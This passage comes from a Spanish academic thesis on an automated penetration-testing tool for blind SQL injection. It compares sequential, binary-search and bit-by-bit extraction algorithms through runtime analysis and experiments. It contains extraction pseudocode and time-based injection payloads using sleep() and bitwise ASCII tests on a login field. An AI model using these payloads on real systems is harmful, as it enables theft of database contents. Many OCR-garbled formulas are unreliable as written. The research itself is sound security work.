7 while L _R (n *%) i = numero de iteraciones para

encontrar el elemento
8 T=chars[L+math.floor((R-L)/2)] A

(»7)
9 payload=getPayload(pos,T,’=’) A

(»7)
10 If(testInjection(payload)) A

go)
11 value +=T (n)
12 Break (n)
13 payload=getPayload(pos,char,’>’) A

(»7)
14 If testinjection(payload): A

(nz9)
15 L=L+math.floor((R-L)/2)+1 (n . A)

21
2

16 else A

r3)
17 R=L+math.floor((R-L)/2)-1 (n . A)

21
2

18 return value 1

Fuente: Elaboracion propia
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En el peor de los casos: i = m (el nimero maximo de iteraciones)
El elemento es encontrado en la ultima division binaria, donde el arreglo resultante es de

tamarfo 1. Entonces:

A

om <=1

A<=2m

log,A>m
Por lo tanto, la cantidad de iteraciones en la linea 7 es menor o igual a log, A
De acuerdo con estos célculos, el tiempo de ejecucion es:

T(n) =n(log; A(26 +6)+5)+3

Al igual que sucede con el algoritmo secuencial, es necesario analizar el caso de la
inyeccion de un retraso de tiempo para evaluar el impacto de dicho tiempo en la ejecucion
del algoritmo. ElI cambio sobre el tiempo de ejecucién se ve reflejado en la tabla 8. De

acuerdo con esta tabla, el tiempo de ejecucién es el siguiente:

Tn)=1+14+M0) +(n) + (n)

+<n*%)+(n*%)+(n*%)+n(%8+A)+(n) + (n)

(230 .2 (C22)

A A
+<n*§)+(n*§)(8+A)+ T

+1
T(n) = 3 + 5(n) +6(n%) +n(§ 8+A) +(n5)(5+4)

T(n) =3+5n + 6(n%) + (n%&) + (nA) + (n%S) + (n%A)
T(n) = 3+n(5+6(%)+2(%8)+(%A)+A)

A
T(n)=n(§(6+26+A)+A+5> +3
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Tabla 8 Tiempo de ejecucion del algoritmo de busqueda binaria basado en tiempo

Linea Instruccion Tiempo de ejecucion
1 BinSearch(n):
2 chars = getPossibleChars(); 1
3 value = 1
4 for pos in range(1,n): n
5 L=0 n
6 R =len(chars)-1 n
7 while L <R (n *%) i = nimero de iteraciones para
encontrar elemento
8 T=chars[L+math.floor((R-L)/2)] A
(3)
9 payload=getPayload(pos,T,’=’) A
(-5)
10 If(testinjection(payload)) A
(n “ (384 ) )
11 value +=T (n)
12 Break (n)
13 payload=getPayload(pos,char,’>’) A
(»7)
14 If testinjection(payload): A
(n *o7* (6+4) )
15 L=L+math.floor((R-L)/2)+1 ( LA )
n Zi
2
16 else A
(3)
17 R=L+math.floor((R-L)/2)-1 (n . A)
21
2
18 return value 1

Fuente: Elaboracion propia
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En el peor de los casos: i = m (el nimero maximo de iteraciones)

El elemento es encontrado en la ultima division binaria, donde el arreglo resultante es de

tamaio igual a 1. Entonces:
A
om <=1
A<=2m
log, A > m,

Por lo tanto, la cantidad de iteraciones en la linea 7 es menor o igual al log, A

De acuerdo con estos célculos, el tiempo de ejecucion es:

T(n) =n(log;, A26+6+A)+A+5)+3

3.3.3 Extraccion bhit a bit

Este algoritmo consiste en tomar el octeto de bits que conforman un caracter en la base
de datos y extraerlo bit a bit a través de preguntas inyectadas a la consulta. A continuacion,

se explica su funcionamiento.
Consulta original:
SELECT * FROM users WHERE login="and password="
Para extraer de la tabla users el campo login se inicia con la siguiente consulta modificada:
Consulta modificada 1:

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(select sleep(5) WHERE (1=ASCII(SUBSTRING((login),1,1))&128)) = ‘1.

Esta consulta modificada, realiza una funcién de bits llamada “AND”. La funcién AND solo
retorna 1 cudndo ambos elementos operados son 1. En el siguiente ejemplo se muestra

Su uso en la extraccion de bits:
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Suponiendo que el caracter a extraer es la letra ‘c’:

Equivalente UNICODE de la letra ¢ es 99. El numero 99 en su equivalente en bits es
01100011. En el ejemplo de la consulta modificada 1, se realizar la operacion AND con el
namero 128, cuyo equivalente en bits es 10000000. Por lo tanto, al realizar esta operacion,

se tiene el siguiente resultado:
01100011 AND 10000000 = 00000000 = 0.

Por lo tanto, si el tiempo de respuesta del sitio web es igual o superior a cinco segundos,
entonces es porque el bit mas significativo del equivalente UNICODE del primer caracter
del campo a extraer es 1. En caso de que el tiempo sea inferior, quiere decir que dicho bit

es 0. Después de esto, se continda con el siguiente bit.

Consulta modificada 2:

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(select sleep(5) WHERE (1=ASCII(SUBSTRING((login),1,1))&64)) = ‘1"

Cuando se realiza esta pregunta con el nimero 64, en bits 01000000, se extrae el siguiente
bit. Y asi sucesivamente, se realiza el mismo proceso con 32 (00100000), 16 (00010000),
8 (00001000), 4 (00000100), 2 (00000010) y 1 (00000001).

En la tabla 9 se muestra una implementacion de dicho algoritmo. En la linea 2, se tiene el
arreglo que permite la extraccion de cada bit del caracter. Entonces, por cada caracter y
por cada bit del mismo, se genera una cadena modificada (linea 7) donde contiene la
pregunta inyectada por el bit a extraer de turno. En la linea 8 se envia la inyeccion y se
analiza el comportamiento del sitio web para inferir si es verdadero o falso. En caso que
sea verdadero, el bit es uno y en caso contrario, cero. Finalmente, la funcion bitsToChar

(linea 12) retorna el equivalente UNICODE los bits extraidos.



44 Disefio de una herramienta automatizada para las pruebas de penetracion
informatica del riesgo de inyecciones SQL inferenciales existente en aplicaciones

empresariales bajo ambiente web

Tabla 9 Algoritmo bit a bit

1) bitByBitSearch(n):
2) 2pow = [128,64,32,16,8,4,2,1]
3) value ="
4) for pos in range(1,n):
5) bits =™

6) for i = 0 to sizeof(2pow):
7) payload=getPayload(pos, 2pow]i])

8) If(testInjection(payload))

9) bits += “1”
10) else
11) bits += “0”
12) value+=bitsToChar(hbits)
13) return value

Fuente: Elaboracion propia

] Analisis tedérico

El andlisis tedrico que se muestra a continuacion se basa en el algoritmo mostrado en la
tabla 9. En la tabla 10 se encuentra linea por linea el tiempo de ejecucién del algoritmo de

busqueda binaria. Por lo tanto, el tiempo de ejecucion de este algoritmo es el siguiente:

T(n) = 1+1+n+n+(long*n)+(log2A*n)+(long*n*8)+(log2#)+
(logZA*n)+(logz#)+n+1

T(n) =3+ 3n+3(nlog, A) + (ndlog, A) + 2 (TLIO%A)

T(n) =3+ 3n+ 3nlog, A+ (nd)log, A+ nlog, A

T(n) =3 + 3n + 4nlog, A + (n6) log, A

T(n) =log, A(n6 +4n)+3n+3
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Tabla 10 Tiempo de ejecucidn algoritmo bit a bit

Linea Instruccion Tiempo de ejecucion
1 bitByBitSearch(n):

2 2pow = [128,64,32,16,8,4,2,1] 1

3 value = 1

4 for pos in range(1,n): n

5 bits =" n

6 for i = 0 to sizeof(2pow): log, A*n

7 payload=getPayload(pos, 2pow[i]) log, A*n

8 If(testinjection(payload)) log, A*n*8§
9 bits += “1” log, A *n/2
10 else log, A*n

11 bits += “0” log, A*n/2
12 value+=bitsToChar(bits) n

13 return value

Fuente: Elaboracion propia

Al igual que los dos algoritmos anteriores, el tiempo de inyeccién sobre la pregunta

modificada incide en el tiempo de ejecucion del algoritmo para el caso de las inyecciones

basadas en tiempo.

En la tabla 11, se encuentra el tiempo de ejecucion incluyendo el tiempo inyectado.

De acuerdo con esta tabla, el tiempo de ejecucion para el algoritmo bit a bit basado en

tiempo es el siguiente:

Tm)y=1+1+n+n+ (log;A*n)+ (log, A*n)+ (log, A*xn*(§+A4)) +

(logz#)+(log2A*n)+(logz#)+n+1

T(n) =3+ 3n+ 3(nlog, A) + (nd)log, A+ (nA)log, A+ 2 (”I"%A)

T(n) =3+ 3n+ 3nlog, A+ (nd)log, A+ (nA)log, A+ nlog, A

T(n) =3+ 3n+4nlog, A+ (nd) log, A + (nA)log, A
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T(n) =log; A(4n+nd+nA)+3n+3

Tabla 11 Tiempo de ejecucion del algoritmo bit a bit basado en tiempo

’

Linea Instruccién Tiempo de ejecucion
1 bitByBitSearch(n):

2 2pow = [128,64,32,16,8,4,2,1] 1

3 value = 1

4 for pos in range(1,n): n

5 bits =" n

6 for i = 0 to sizeof(2pow): log, A*n

7 payload=getPayload(pos, 2pow[i]) |log, A *n

8 If(testInjection(payload)) log, A*n * (6 + A)
9 bits +=“1” log, A*xn/2

10 else log, A*n

11 bits += “0” log, A*xn/2

12 value+=bitsToChar(bits) n

13 return value

Fuente: Elaboracion propia

3.4 Comparacion de los algoritmos de extraccion

En la seccién 3.3 se explicaron los algoritmos de extraccion y se calcularon los tiempos de
ejecucion de cada algoritmo basados en la metodologia definida. Usando esos tiempos,
es posible comparar cual de los algoritmos de extraccion es el que extrae los caracteres

de la base de datos mas eficiente de manera tedrica.

Se realizara una comparacion genérica, aunque, en algunos casos y para explicar de
manera clara los resultados alcanzados, el valor de A serd igual a 256. Esto significa que

los caracteres de la base de datos pueden ser los 128 caracteres ASCII mas los caracteres
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especiales mas utilizados, hasta el caracter UNICODE 256. En la tabla 12, se encuentra
un resumen de los tiempos de ejecucion de cada algoritmo para facilitar su lectura y la

comprension de las comparaciones realizadas.

Tabla 12 Tiempo de inyeccién de los algoritmos de extraccion

Algoritmo No basado en tiempo Basados en tiempo
Secuencial Tn)=n(A[2+8]+3)+3 | T(n)=n(AR+8)+3+A4)
+3
Busqueda binaria T(n) =n(log, A(26 + 6) T(n) =n(log, A26+ 6+ A)
+5)+3 +A+5)+3
Bit a bit T(n) =log, A(nd + 4n) T(n) = log, A (4n + nd
+3n+3 + nA) + 3n
+3

Fuente: Elaboracion propia

3.4.1 Comparacion de los algoritmos secuencial y binario

De acuerdo con la metodologia definida, para cada comparacion se realiza una hipétesis
y posterior a ella, se realiza la comprobacion o la negacién de la misma de manera

matematica y empirica. La comprobacién empirica se realizara en la seccion 3.4.4.

. Hipotesis
El tiempo de ejecucion del algoritmo binario siempre es menor que el tiempo empleado por

el algoritmo secuencial para las inyecciones inferenciales basadas en tiempo y las no

basadas en tiempo.

. Comprobacién Matematica para las inyecciones no basadas
en tiempo

De acuerdo con el enunciado de la hipotesis:

T(n)binario > T(n)secuencial
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n(A[l2+8]+3)+3> n(log, A(26+6)+5)+3
A2 +8]+3> log, A(26+6)+5

2A+ Ab > 26log, A+ 6log, A+ 2

AS = 26log, A Yy 2A>6log, A+ 2
A>28log,A(1) y A>3log,A+1(2)

En la figura 3 se encuentra la grafica de la primera ecuacién. De acuerdo con esta, para
gue la desigualdad se cumpla, los valores de A deben ser mayores que cuatro (A > 4). En
esta figura, el eje X corresponde a la variable A y el eje Y al tiempo de ejecucion. La
ecuacion graficada en color azul es f(x) = A y la graficada en color rojo es f(x) =
28 log, A. Después de A=4, el tiempo de la segunda ecuacién nunca es mayor que la

primera.

Figura 3 Ecuacion A > 26 log, A

Tix)

Fuente: Elaboracion propia

La siguiente ecuacion, numero 2, se encuentra graficada en la figura 4. De acuerdo con
esta, para que la desigualdad sea cierta, los valores de A deben ser mayores que 12. En

esta figura, el eje X corresponde a la variable A y el eje Y al tiempo de ejecucion. La
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ecuacion graficada en color azul es f(x) = A y la graficada en color rojo es f(x) =
3log, A+ 1. Después de A=11.613 ~12, el tiempo de la segunda ecuacion nunca es mayor

gue la primera.

Figura 4 Ecuacion A > 3log, A + 1

Tix)

Fuente: Elaboracion propia

. Comprobacion Matematica para las inyecciones basadas en
tiempo

Debido al tiempo de inyeccion, los tiempos de respuesta para ambos algoritmos son
incrementados. Por tanto, la hipétesis debe probarse igualmente para el caso de las

inyecciones basadas en tiempo.

De acuerdo con la hipétesis:

T(n)binario > T(n)secuencial

n(A2+8)+3+A)+3 > n(log,AR5§+6+A)+A+5)+3
AR+8)+34+A> log,A(26+6+A)+A+5

A2+ 8) > log,A(26+6+A) +2

2A+ A8 > 26log, A+ 6log, A+ Alog, A+ 2
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A8 > 28log, A+ Alog, A 'y 2A > 6log, A+ 2
(AS —26log,A)/log, A> A yA>3log, A+1

(AS/log, A—28)> A yA>3log,A+1

A<§x(—

=2 YA =12

Para el caso de A = 256 Caracteres UNICODE:

A<s 256 ,
* —— —

- (logz 256 )
A <308

= Conclusion

El tiempo de ejecucion del algoritmo binario siempre es menor que el tiempo empleado por
el algoritmo secuencial para las inyecciones inferenciales basadas en tiempo y las no

basadas en tiempo siempre y cuando se cumpla que:

1. La cantidad de caracteres UNICODE a buscar deber ser mayor o igual a 12.
2. Para la extraccion basada en tiempo, este tiempo inyectado debe ser menor al
tiempo de respuesta del sitio web multiplicado por la diferencia entre la cantidad de

caracteres UNICODE sobre el logaritmo en base dos de esta misma cantidad y dos:

A

ASG*(IOgZA

~2).

3.4.2 Comparacion de los algoritmos secuencial y bit a bit

. Hipotesis
El tiempo de ejecucién del algoritmo bit a bit siempre es menor que el tiempo empleado

por el algoritmo secuencial para las inyecciones inferenciales basadas en tiempo y las no

basadas en tiempo.
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. Comprobacién Matemaética para las inyecciones no basadas
en tiempo

De acuerdo con el enunciado de la hipotesis:

T(n)binario > T(n)secuencial
n(A[2+8]+3)+3 >log, A(né+4n) +3n+3
2nA 4+ nAé + 3n > log, A(né + 4n) + 3n

2nA + nAds > log, A (nd + 4n)

2nA + nAd > ndlog, A+ 4nlog, A

nAd > ndlog, A y 2nA > 4nlog, A

A>log, A(3)yA>2log, A (4)
En la figura 5 se encuentra la gréfica de la tercera ecuacién de estas comprobaciones.

Figura 5 Ecuacion A > log, A

Tix)

-t

L / 5 1o [ E) Ei 0 35
’ A

Fuente: Elaboracion propia

De acuerdo con esta, la ecuacién en cuestion siempre serd cierta. En esta figura, el eje X
corresponde a la variable A y el eje Y al tiempo de ejecucion. La ecuacién graficada en
color azul es f(x) = A y la graficada en color rojo es f(x) = log, A. Se puede notar que,

para cada valor de A, la segunda ecuacioén nunca es mayor que la primera.

La siguiente ecuacién, nimero 4, se encuentra graficada en la figura 6. De acuerdo con

esta, para que la desigualdad sea cierta, los valores de A deben ser mayores que 4. En
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esta figura, la ecuacion graficada en color azul es f(x) = A y la graficada en color rojo es
f(x) = 2log, A. Se puede notar que, después de A=4, la segunda ecuacidn nunca es

mayor que la primera.

Figura 6 Ecuacion A > 2log, A

Tt}

va

o 17 15 o 25 EC) E3
’ 4

Fuente: Elaboracion propia

Por lo tanto, para el caso de las inferenciales no basados en tiempo, el tiempo de respuesta
del algoritmo bit a bit siempre sera mejor que el tiempo del algoritmo secuencial para una

cantidad de valores UNICODE superiores a 4.

. Comprobaciéon Matematica para las inyecciones basadas en
tiempo

De acuerdo con el enunciado de la hipétesis:
T(n)binario > T(n)secuencial

n(A2+6)+3+A)+3 > log;A(4n+nd+nA)+3n+3
2An + nAé + 3n + nA > log, A(4n + né + nA) + 3n

2An +nA8 + nA > 4nlog, A+ ndlog, A+ nAlog, A
2A+A8+A> 4log, A+ 6log, A+ Alog, A

2A+ A5 —4log, A—6log, A> Alog, A—A
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A(log, A—1) <2A+ A8 —4log, A—3Slog, A

2A+Ab —4log, A—06log, A
log, A—1

A< A6+ 2)—log, A(6+4)
- log, A—1

Para el caso de A = 256 caracteres UNICODE:

A< A6+ 2)—log, A(6+4)
- log, A—1

256(8 + 2) — 8(8 + 4)
8—1

2568 + 512 — 88 — 32
7

24868 + 480
7

A< 2486 +480
-7 7

A < 35,428576 + 68,5714

Por esto, en el caso de las inyecciones inferenciales basadas en tiempo, la hipotesis esta

supeditada al tiempo de cargue de la pagina web 8.

= Conclusion

El tiempo de ejecucién del algoritmo bit a bit es menor que el tiempo empleado por el

algoritmo secuencial para las inyecciones inferenciales no basadas en tiempo si se cumple

la siguiente condicion:

La cantidad de caracteres UNICODE a buscar sea superior a 4 (A > 4)
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El tiempo de ejecucién del algoritmo bit a bit es menor que el tiempo empleado por el
algoritmo secuencial para las inyecciones inferenciales basadas en tiempo si se cumple la

siguiente condicion:

A(8+2)—log, A(8+4)

El tiempo inyectado debe ser menor a la siguiente expresion A < oz, A1
A

3.4.3 Comparacion de los algoritmos bit a bit y binario

. Hipotesis
El tiempo de ejecucién del algoritmo bit a bit siempre es menor que el tiempo empleado

por el algoritmo binario para las inyecciones inferenciales basadas en tiempo y las no
basadas en tiempo.

- Comprobaciéon Matemaéatica para las inyecciones no basadas
en tiempo

De acuerdo con el enunciado de la hipétesis:
T(n)binario > T(n)secuencial

n(log, A(26+6)+5)+3 >nlog,A(6+4)+3n+3
n(log, A(26+6)+5)+3 >n(log, A(6+4)+3)+3
log, A(26+6)+5>1log, A(6+4)+3

O6log, A+ 6log, A+ 2> 4log, A
—2log, A—2

6>
log, A

6>-2-—
log, A
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Por lo tanto, para el caso de las inferenciales no basados en tiempo, esto es real para

. , s . 2 . .
tiempos de cargue de pagina superiores a 6 > —2 — Tog, A unidades de procesamiento lo
2

cual siempre sera cierto debido a que § > 0 s.

. Comprobacion Matematica para las inyecciones basadas en
tiempo

De acuerdo con la hipétesis:

T(n)binario > T(n)secuencial
n(log,A26+6+A)+A+5)+3>nlog,A(4+8+A)+3n+3
n(log; A26+6+A)+A+5)>n(log, A(4+86+A)+3)

log, A(26+6+A)+A+2>log,A(4+5+4)

A>—-2—2log, A—6log, A

Por esto, en el caso de las inyecciones inferenciales basadas en tiempo, esto es real para
valores de retardo de tiempo superiores a una ecuacion que siempre sera negativa:

A> -2 —2log, A— 6log, A. Esto siempre sera cierto ya que A > 0

= Conclusion

El tiempo de ejecucién del algoritmo bit a bit es menor que el tiempo empleado por el
algoritmo binario para las inyecciones inferenciales no basadas en tiempo y para las

inyecciones basadas en tiempo.

3.5 Comprobacion empirica

En la revision de literatura, se constaté que se usan tiempos aleatorios para mostrar los
ejemplos de retardo en la inyeccion (4), asi (W. G. J. Halfond et al., 2008) usa 5 segundos
sin indicar la relacion con el tiempo de respuesta de la pagina, al igual que en (Anley,
2002b), en (Chandrashekhar, Mardithaya, Thilagam, & Saha, 2012a) se usa 10 segundos.
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(Clarke & Alvarez, 2009) indica que si el tiempo de carga de la pagina es de 50 ms, un
tiempo de retardo inyectado de 30s provee un periodo de tiempo suficiente para diferenciar
la inyeccion del tiempo de respuesta normal. En otras palabras, si § = 50ms entonces A =
30s.

Con base en las demostraciones anteriores, para las inyecciones no basadas en tiempo,
el mejor algoritmo es la extraccién bit a bit, seguido de la busqueda binaria y finalmente, la
busqueda secuencial. Para el caso de las inyecciones basadas en tiempo, en la tabla 13
se encuentra un resumen que permite identificar cual es el algoritmo que usa un menor

tiempo para la extraccion de informacién de acuerdo con el tiempo usado en la inyeccion.

Tabla 13 Comparacion de algoritmos por tiempo de respuesta en inyecciones inferenciales
basadas en tiempo

Valores A Secuencial Binario Bit a bit

A _ 3 2 1
< 8(log2A 2)

A _ 2 3 1

8(log2A 2)

< A(8+2)—log, A(8+4)
- log, A-1

A _ 1 3 2
> 8(10g2A 2) y
S A(S+2)—log, A(6+4)

log,A—1

Fuente: Elaboracion propia

Teniendo en cuenta la tabla 13, se puede ver que el algoritmo de busqueda secuencial
podria llegar a tener mejor tiempo de extraccion usando un tiempo de inyeccion mayor a
la formulacion indicada, relacionada directamente con el nimero de caracteres UNICODE

a comparar y el tiempo de respuesta del sitio web.

De acuerdo con la metodologia, se realiz6 un ejercicio empirico para comprobar los
resultados tedricos anteriores. Se usaron 500 caracteres aleatorios (n=500), en una misma
maquina bajo las mismas condiciones de procesamiento, memoria RAM, velocidad de

lectura de disco. Para la extraccion de estos caracteres, se tomaron los primeros 255
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caracteres UNICODE (A=255) y se modificaron durante el ejercicio los parametros

definidos para comprobar los célculos realizados anteriormente.

En la tabla 14 se encuentra la comprobacion empirica de los tiempos de ejecucion,
comprobando a satisfaccion los célculos realizados.

Tabla 14 Comprobacion empirica de los algoritmos en inyecciones inferenciales no
basadas en tiempo

No basados en tiempo | Tiempos de ejecucién

Secuencial 3.98 secs
Busqueda binaria 0.815 secs
Bit a bit 0.376 secs

Fuente: Elaboracion propia

Para la comprobacion empirica de los algoritmos basados en tiempo, se realizé el mismo
ejercicio anterior, pero con un sitio web que tuvieran exclusivamente ese tipo de
vulnerabilidad. Los resultados de este ejercicio se observan en la tabla 15.

Tabla 15 Comprobacién empirica de los algoritmos en inyecciones inferenciales basadas
en tiempo

Valores A | Valores A | Secuencial Binario Bit a bit

(Formulado) (real)--

<306 (296)6=0.005, 32.62s 27,15s 24,63 s
0,18

>306 y< 356+ (346)6=0.006, |34.17s 30.211s 26.0484 s

68

>308 y> 356+ 68 | (366)6=0.0057, | 34.69 s 29.8s 27434 s
0.2

>308 y> 356+ 68 | (486)6=0.0057 | 37.629 s 38.05s 36.792 s

Aleatorio segin | 1s 56.478 s 139.0555 s 139.010 s

bibliografia

Fuente: Elaboracion propia



58 Disefio de una herramienta automatizada para las pruebas de penetracion
informatica del riesgo de inyecciones SQL inferenciales existente en aplicaciones

empresariales bajo ambiente web

En la primera columna de esta tabla, se detalla el valor tedrico para el ejercicio empirico.
Por ejemplo, el primero de estos ejercicios, es inyectando un retraso de tiempo de menos
de 30 veces el tiempo de respuesta del sitio web. En la segunda columna, esta el tiempo
real inyectado en el ejercicio. Tomando el ejemplo anterior, se inyecta 0,18 segundos, el
cual se calcul6 de la siguiente manera: 29 veces el tiempo de carga del sitio web, que fue
de 0,005 segundos. Con ese valor calculado, se procedi6é a ejecutarla extraccion de los
caracteres con cada algoritmo. Se detallan en las siguientes tres columnas los tiempos
empleados por cada uno de estos. Como puede observarse, tal y como se habia calculado
de manera tedrica, el algoritmo bit a bit es el que emplea menos tiempo para la extracciéon

de la informacion.

3.6 Tiempo de respuesta del sitio web

Durante la realizacion del ejercicio empirico, se not6 la necesidad de especificar las
diferentes maneras de calcular el tiempo de respuesta de un sitio web debido a que no se
encontré en la revision bibliografica documentacion al respecto. Este valor es denominado
por la variable § en este documento y es el tiempo que toma el servidor web para recibir y
procesar una solicitud para una pagina de parte del cliente web (Latencia). Se ve influido
por el RTT (Round Trip delay Time) de la conexion, que es el tiempo que tarda una peticion
de red en ir a su destino y volver, los tiempos implicitos en el protocolo TCP/IP (Como el
Three-Way Handshake). (Naik & Jenkins, 2016)

Por lo anterior, los valores que adopta son completamente variables al ser diferentes en
cada peticién del sitio web, encontrdndose con picos indeterminados y que incrementan la
complejidad para la implementacion de los algoritmos antes mencionados. Para calcular

este valor, esta investigacion determiné los siguientes métodos:

1. Realizar un ndmero alto de peticiones al sitio web antes de iniciar el proceso de
extraccion, calcular el tiempo total de respuesta de cada unay usar el promedio. Al
establecer un promedio, el valor sera mas acertado en la medida que el valor de
las peticiones usadas para su célculo sea mayor. Sin embargo, con el paso del
tiempo, el servidor web puede degradarse, o los tiempos asociados factores de red

pueden cambiar, lo que ocasiona que este valor tenga que recalcularse pronto.
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2. Realizar un numero alto de peticiones al sitio web, calcular el tiempo total de
respuesta de cada uno y usar el mayor valor. Al usar el mayor valor, se esta
considerando el peor de los casos. Sin embargo, este valor puede ser muy alto
comparado con el promedio, lo que incrementa significativamente los tiempos de
extraccion y, aun asi, no hay garantia qué durante la extraccion, no haya una
latencia mayor.

3. Realizar un llamado al sitio web y calcular su tiempo justo antes de realizar alguna
peticion de extraccién. Este método es una buena opcién, ya que existe una alta
probabilidad que la latencia sea similar en dos llamados realizados con un minimo
de tiempo entre ambos. Sin embargo, en la extraccion de informacién, la cantidad
de llamados al sitio web se duplica, por lo que se incrementa el tiempo de

extraccion.

Para establecer el método més efectivo, se realizdé un experimento comparativo con el
algoritmo secuencial y, de esta manera, determinar de manera empirica la mejor manera
para realizar este célculo tomando en cuenta su impacto en el tiempo y en el surgimiento

de errores. Los resultados de este experimento se pueden ver en la tabla 16.

En esta tabla, se asignaron valores minimos de inyeccién para ser ejecutados por el
algoritmo secuencial. Estos tiempos se calcularon de las tres maneras mencionadas
anteriormente: promedio de 200 peticiones, tiempo maximo de 200 peticiones y 1 peticién
antes de la inyeccion. Esto se hizo con el fin de observar la precision del algoritmo con
cada uno de estos métodos. El tiempo méaximo reduce los falsos positivos, generando
menos errores, pero influye radicalmente en el tiempo total empleado para la extraccion.
El calculo antes de la inyeccidon genera la mayor cantidad de errores aun con tiempo de
inyeccioén altos. La opcion promedio es la que mejor relacién costo/beneficio tiene: menor

tiempo empleado en la extraccidbn comparado con la exactitud de la informacion extraida.

Por lo tanto, en las pruebas realizadas tanto la opcion de promedio como la opcion de
maximo son las mejores opciones para el célculo de la latencia. Para los ejercicios
empiricos se uso el calculo a través del promedio para reducir el tiempo empleado en la

prueba de penetracion sin desmejorar la exactitud de la misma.
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Tabla 16 Efecto del célculo del tiempo de respuesta sobre el algoritmo secuencial

Valores A Secuencial
*De un total de 200 peticiones
AVG* MAX* Antes
28 16.1s 23.95s 45.94s
25 error 16 error 23 error
38 26.9s 46.96s 69.91s
24 error 7 errores 18 error
46 39.2s 42.96 s 76.8 s
10 error 1 error 12 error
58 37.4s 32.25s 99.70 s
2 error S errores 9 errores
108 42.07s 48.57s 95.09 s
1 error 1 error 8 errores
156 38.67s 35.57s 106.17s
1 error 1 error 1 error
166 48.04 s 39.11 s 11243 s
O error O error O error

Fuente: Elaboracion propia

3.7 Retraso de tiempo ainyectar

En estatesis se usa la variable A para indicar el tiempo inyectado en la consulta modificada.
En la revision bibliografica realizada en esta investigacion sobre las inyecciones SQL
inferenciales no se encuentra la manera de calcular el valor para la inyeccién de tiempo.
Antes de inyectar un retraso de tiempo para forzar un cambio de comportamiento, es

necesario escoger cuidadosamente el valor de tiempo éptimo. Un valor significativamente
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alto, puede conllevar una demora innecesaria en la extraccion. Y un valor
significativamente bajo, podria generar que en una consulta determinada el valor inyectado
sea menor o igual a la latencia del sitio web (A < §), lo que genera un falso positivo

generando inexactitud en los datos extraidos.

3.7.1 Cota inferior del retraso de tiempo a inyectar

El tiempo a inyectar debe cumplir con la siguiente desigualdad: Tiempo a inyectar debe ser
mayor que el tiempo de respuesta del sitio web (A > §). Teniendo en cuenta que el tiempo
de respuesta () es variable y que para cada extraccion debe realizar un nimero

indeterminado de peticiones, debe cumplirse lo siguiente:
A>061, A>82,A>83,A>64..A>08m

Es decir, para todas las m peticiones realizadas al sitio web, el valor inyectado debe ser

mayor.

Debido a que no es posible conocer el tiempo exacto de latencia antes de realizar la
peticion, el tiempo a inyectar debe ser lo suficientemente mayor para que tenga tolerancia
al error. Por tanto, siempre que inyectemos un retardo de tiempo existird un riesgo de

generar un falso positivo.

Para esto, en esta investigacion se define un nuevo indice, llamado indice de precision del
algoritmo (IPA), siendo calculado como la cantidad de caracteres correctamente extraidos
sobre la cantidad total de caracteres a extraer. Para ilustrar el uso de este indice, se
elaboré la tabla 17 a partir de ejercicios empiricos con tiempos de inyeccion diferentes.
Para este ejercicio, se calcul6 el valor del tiempo de cargue del sitio web (8) antes de cada

inyeccion.

De acuerdo con los experimentos similares realizados y evidenciados en la tabla 17, es
mejor usar como tiempo a inyectar un valor superior a 165. Para mayor exactitud de
acuerdo a la latencia del sitio web, es mejor realizar un andlisis similar para determinar la
cota inferior para cada caso particular. Igualmente, puede notarse en dicho experimento

gue el algoritmo bit a bit responde mejor ante valores bajos de inyeccion.
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Tabla 17 indice de precisién del algoritmo IPA para valores minimos A

Valores A Secuencial Binario Bit a bit
28 3.33% 50% 66.67%
38 13.33% 80% 96.66%
48 33.33% 96.67% 100%
58 53.33% 80% 93.33%
108 93.33% 96.66% 96.66%
156 96.66% 100% 100%
168 100% 100% 100%

Fuente: Elaboracion propia

3.7.2 Cota superior

Teniendo claro que cualquier valor superior a los imprevistos en la latencia del sitio web
puede servir para la extraccién de la informacién, es necesario delimitar los valores 6ptimos
de acuerdo a cada algoritmo usado con el fin de no emplear mas tiempo del necesario en
la extraccion de la informacién. Por tal razon, la comparacién realizada en la seccion 3.4

determina las cotas superiores 6ptimas.

3.8 Optimizaciones frecuentes a los algoritmos
inferenciales

Los algoritmos analizados pueden ser optimizados de varias maneras. Durante esta
investigacion se determinaron tres optimizaciones comunes, siendo posible usar un solo
método o varios en una misma implementacion, dependiendo del algoritmo. En la tabla 18

puede verse un resumen de estas optimizaciones que se explican a continuacion.
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Tabla 18 Optimizaciones frecuentes a los algoritmos inferenciales

Secuencial | Binario Bit a bit
Diccionario Si Si No
Ordenamiento por probabilidad | Si No Si
Paralelizar No No Si

Fuente: Elaboracion propia

3.8.1 Uso de diccionarios

En la medida que se van extrayendo caracteres de la base de datos y si se tiene
identificado el lenguaje de la base de datos, puede usarse un diccionario para generar el
siguiente caracter a probar. Por ejemplo, en el idioma inglés, si se han extraido dos
caracteres, como Th, se puede usar un diccionario que permita evitar intentos cémo Thz,
y concentrarse en intentos como The, Tha, Thi, Tho, Thu, con lo cual es probable encontrar
rapidamente el siguiente caracter. Esta optimizacién afiade mayor tiempo de ejecucion al
algoritmo debido a la consulta que realiza sobre el diccionario después de la extraccién de
cada caracter, pero se ve recompensado en la disminucién de las consultas modificadas

enviadas al sitio web.

3.8.2 Ordenamiento por probabilidad de ocurrencia

Conociendo el idioma de la base de datos, es posible ordenar los caracteres de acuerdo a
la probabilidad de ocurrencia. Asi, suponiendo que el caracter mas comudn en el idioma
inglés es la letra ‘e’, ese caracter seria el primero en la lista ordenada por ocurrencia. En
el algoritmo bit a bit, también es posible ordenar el bit a preguntar de acuerdo a un célculo
de probabilidad.
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3.8.3 Paralelizar

Teniendo en cuenta que cada caracter a extraer de la base de datos puede hacerse de
manera independiente, se pueden implementar una arquitectura multi-hilos, donde cada
hilo se dedique a un caracter en particular. Aunque todos los algoritmos pueden ser
paralelizados de esta manera, en el algoritmo bit a bit es posible incluso paralelizar cada

bit, ya que la extraccién de uno es independiente a los otros.



4.Analisis y comparacion de las herramientas
para la evaluacién de inyecciones SQL
inferenciales

Después de realizar una busqueda sistemética en diferentes fuentes académicas, las
cuales en detallaron en la seccién 2.5, se realizé una lista de las herramientas encontradas
la cual se encuentra en la tabla 19. Con cada una de ellas se realizaron los siguientes

pasos:

1. Buscar en la documentacién y sitios web asociados la ultima version de la
herramienta disponible y el sistema operativo compatible.

2. Determinar si tiene soporte actual a través de la respuesta en foros, sitios web y
ultimo afio de versién disponible. Para las herramientas: Absinthe, Pixy, SQL Brute,
